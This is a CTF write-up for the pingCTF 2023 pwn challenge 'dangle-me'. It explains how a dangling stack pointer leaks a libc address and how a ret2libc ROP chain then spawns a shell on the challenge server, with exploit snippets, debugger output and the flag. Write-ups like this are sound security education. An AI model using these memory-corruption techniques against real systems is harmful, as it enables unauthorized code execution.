dangle-me

by talsim / C0d3 Bre4k3rs

Tags: pwn

Rating: 4.0

dangle-me - pingCTF 2023 (pwn, 13 solved, 448p)

Introduction

dangle-me is a pwn task.

An archive containing a binary, a flag.txt file (for testing purposes), a Dockerfile and a `docker-compose.yaml` is given.

The binary has most of the protections set, as seen with `checksec`:

```
$ checksec dangle
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
```

Reverse engineering

Upon opening the stripped binary in IDA, I renamed symbols to make it easier to understand.
The main function starts with calls to two functions, with the first one, now named `choose_random_name`, that caught my attention:

```
char *choose_random_name()
{
  int random_number;
  char dest[48824];

  // Randomly select a name and copy it to the local buffer 'dest'
  // ...
  return dest;  // Returning a pointer to a local variable
}
```

It generates a random number, selects a name based on the number, and copies it into the local buffer `dest`. The function then returns a pointer to this local buffer.

Because `dest` is a local variable, it's a **dangling pointer** after the function returns, hence the task name.

After the function returns, the second function (renamed to `game_handler`) is called with `dangling_pointer` to the array buffer.

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  ...
  char *dangling_pointer = choose_random_name();
  game_handler(dangling_pointer);

  return 0;
}
```

The `game_handler` function decompilation follows, implementing a menu with various options:

```
unsigned __int64 __fastcall game_handler(char *dangling_pointer)
{
  unsigned int random_number;
  char choice;
  char *newline_position;

  printf(
    "My name is %s and I am your savior...\n"
    "[...]"
    "\n"
    "> ",
    dangling_pointer);
  while ( 1 )
  {
    __isoc99_scanf(" %c", &choice);
    switch ( choice )
    {
      case '1':
        printf("My name is %s, dear\n", dangling_pointer); // Printing what dangling_pointer points to
        goto LABEL_8;
      case '2':
        puts(&s);
        game_handler(dangling_pointer); // Recursive call with the dangling_pointer
        return 0;
      case '3':
        ...    // Printing a random string based on a random number
      case '4':
        fwrite("Hmph! In that case, choose someone better: ", 1uLL, 0x2BuLL, stdout);
        getchar();
        fgets(dangling_pointer, 258, stdin); // Writing user input to the buffer pointed by dangling_po
inter
        newline_position = strrchr(dangling_pointer, '\n');
        if ( newline_position )
          *newline_position = 0;
        goto LABEL_8;
      case '5':
        return 0;
      default:
LABEL_8:
        printf("> ");
        break;
    }
  }
}
```

The menu is printed along with the string pointed to by `char *dangling_pointer`. *It's worth noting* that the string that will be printed is still the name string that was copied in the `choose_random_name()` function.
That's because the stack frame there may be removed, but the contents of the local variables do not get deleted, but overwritten when a new stack frame takes place.

It then goes into an endless while loop, implementing a switch-case for our choice in the menu.
First option (1) - Printing "My name is ..." and the string that `dangling_pointer` points to.
Second option (2) - **Recursively calls** `game_handler(dangling_pointer)`, leading to the creation of additional stack frames with each call.

Forth option (4) - Writes 258 bytes to the address pointed by `dangling_pointer`.
Fifth (5) and the third (3) options returns from the function and prints some string based on a random number accordingly.

Vulnerability

We utilize the dangling pointer in the code by creating stack frames through recursive calls to `game_handler()`. With each recursive call, because a new stack frame is generated, it gradually overwrites the buffer that `dangling_pointer` points to.

This results in two key outcomes:
1. Leaking addresses: We can print the contents of the memory that `dangling_pointer` references.
2. Redirecting code flow: Utilizing the leaked addresses, we redirect the code flow by crafting a ret2libc payload.

While inspecting the leaked addresses within our local binary's memory using GDB, we observe that a libc address is leaked.

Following the same idea, we leak a libc address from the remote binary's memory on their server because of `dangling_pointer`'s contents.

Then we download the version of libc they use with the help of the leaked address, and craft a ret2libc exploit. This results in spawning a shell and printing the flag.

Exploitation

Leaked Addresses Automation

The finding of the leaked libc address included me to write a little automation that finds leaked addresses that are not on the stack - `findUsefulAddresses()` (see the implemention in the exploit for details).
The motivation behind finding addresses not present on the stack was to explore additional addresses that could help in the exploit.

After finding leaked addresses that are not on the stack mapping of the local binary's memory, we inspect them in GDB.
Then we identify the libc address that is leaked at the 368th stack frame of the game_handler function - **a crucial step to craft ret2libc**.

Snippet of finding the libc address with `findUsefulAddresses()`:

```
...

[*] Unsorted leaked addr: b'My name is \xa0\xda\xb6\xcf\xe0\x7f, dear\n'
[*] Leaked addr: 0x7fe0cfb6daa0

[[*******]] FOUND SOME ADDRESS - 0x7fe0cfb6daa0;
[[*******]] Frames amount = 368
Done (y/n):
```

Ret2libc Payload Crafting

If we inspect the leaked libc address at the 368th stack frame of `game_handler` in GDB, we'll notice it points to `_IO_2_1_stdin_`.
Given that the task did not provide a the version of libc it uses, we leak the libc address from the server, knowing it points to the `_IO_2_1_stdin_` symbol.

Then we search the symbol's offset in the libc database to find the version of libc the server uses (I used this website).

Because multiple versions are found, we assume the first version corresponds to the server's libc version, and make our code dynamically-dependent on the libc version so we can change it later if needed.

Next, we simply calculate the libc base address by subtracting the symbol `_IO_2_1_stdin_`'s offset from the leaked libc address.
Then we calculate the symbol's addresses that will spawn a shell for us: `pop rdi; ret`, `"bin/sh"`, `ret` and `system`.
The additional `ret` instructions in the payload are necessary for avoiding potential stack alignment issues during the exploit.

```
# Leak libc
libc_leak = leakLibc(io)
# Checked for this symbol in my elf's mapping
libc_base = libc_leak - libc.sym['_IO_2_1_stdin_']
```

```
system = libc_base + libc.sym['system']  # Calculating system address
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))  # Calculating "bin/sh" address
pop_rdi = libc_base + (libcROP.find_gadget(['pop rdi', 'ret']))[0]  # Calculating "pop rdi; ret" gadget
address
ret = libc_base + (libcROP.find_gadget(['ret']))[0]  # Calculating "ret" gadget address

# Crafting the rop chain
offset = b'A'*8
payload = [
  offset,
  ret,  # Added for stack alignment
  ret,
  ret,
  pop_rdi,
  bin_sh,
  system
]
payload = b''.join(payload)
```

Code flow Hijacking

To reach the buffer pointed by `dangling_pointer` and **overwrite the return address on the corresponding stack frame**, we need to determine the exact number of stack frames.
This involves comparing the current stack frame address to the buffer's address in memory.
By gradually creating additional stack frames, we progress until we notice that we are **16 bytes** away from the return address.
After experimenting, we find out that 436 stack frames were necessary.

Following that, we send option (4) to write to the buffer, with a padding of 8 bytes followed by the address of our ret2libc payload (16 bytes in total).

Finally when running the exploit against the server, we might encounter problems if the version of libc doesn't correspond to the server's version.
In such case, we download a different version and continue until it spawns a shell.

```
./exploit_dangle.py
...
[*] Loaded 197 cached gadgets for './libc6-amd64_2.36-9+deb12u3_i386.so'
[+] Opening connection to dangle-me.knping.pl on port 30000: Done
[*] Libc address leaked: 0x7ffa12a4aa80
[**] Libc base address: 0x7ffa12878000

[***] system addr = 0x7ffa128c43a0
[***] bin_sh addr = 0x7ffa12a0e031
[***] pop_rdi addr = 0x7ffa1289f765
[***] ret addr = 0x7ffa1289f0e2
[*] Switching to interactive mode
> $ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
run
$
```

Flag: `ping{h0w_t0_r37urn_an_array_fr0m_a_func710n_in_C++?!}`

Bypassing PIE Mitigation

Although we got the flag and solved the task, I had a failed-attempt that I thought would be worth sharing.

My approach here was bypassing PIE and then leaking an address of some libc function from GOT (perhaps with `puts`).
With the leaked GOT address, we find the version of libc and calculate its base address.

In order to bypass PIE, we need to leak an address from the binary's memory mapping itself to resolve its base address. in contrast to libc for example, where we leak a libc address to resolve libc's base address.

If we inspect the leaked addresses a second time, we notice there is exactly a leak from the binary's memory mapping in the 433th stack frame. Meaning we can calculate the elf's base address.

From inspecting the binary's offsets with `objdump`, We see that the offsets to the base address of the elf are 4 bytes.

```
$ objdump -M intel -d dangle
Disassembly of section .init:
0000000000002000 <.init>:
    ...

Disassembly of section .plt:
0000000000002020 <setvbuf@plt-0x10>:
    ...

// The Disassembly continues
```

Then to calculate the elf's base, we remove the last 4 bytes of the leaked address from the binary's mapping (See `leakElf()` in the exploit for further details).

Though when we search for gadgets with `ROPgadget`, We don't find much useful. There wasn't a `pop rdi; ret` presented to us.

```
$ ROPgadget --binary dangle | grep rdi
0x00000000000021a2 : adc ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x17 ; jmp 0x2020
0x00000000000021c2 : add ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x19 ; jmp 0x2020
0x0000000000002182 : and ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x15 ; jmp 0x2020
0x0000000000002152 : cmp ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x12 ; jmp 0x2020
0x00000000000020b2 : mov ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 8 ; jmp 0x2020
0x0000000000002a4d : mov ebp, esp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x0000000000002a4f : mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x0000000000002a4c : mov rbp, rsp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x00000000000021b2 : or ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x18 ; jmp 0x2020
0x0000000000002192 : sbb ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x2020
0x0000000000002172 : sub ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x14 ; jmp 0x2020
0x0000000000002162 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x13 ; jmp 0x2020
```

That was when I decided to try a different approach which was directly returning to libc, without the need to bypass PIE.

Despite the failed attempt, the exploration provided me with new insights into this task and informed me to follow an alternative approach.

Thank you for reading the writeup, and happy hacking!

Original writeup (https://github.com/C0d3-Bre4k3rs/PingCTF2023-writeups/tree/main/dangle-me).

Comments

© 2012 — 2024 CTFtime team.

Follow @CTFtime

All tasks and writeups are copyrighted by their respective authors. Privacy Policy.
Hosting provided by Transdata.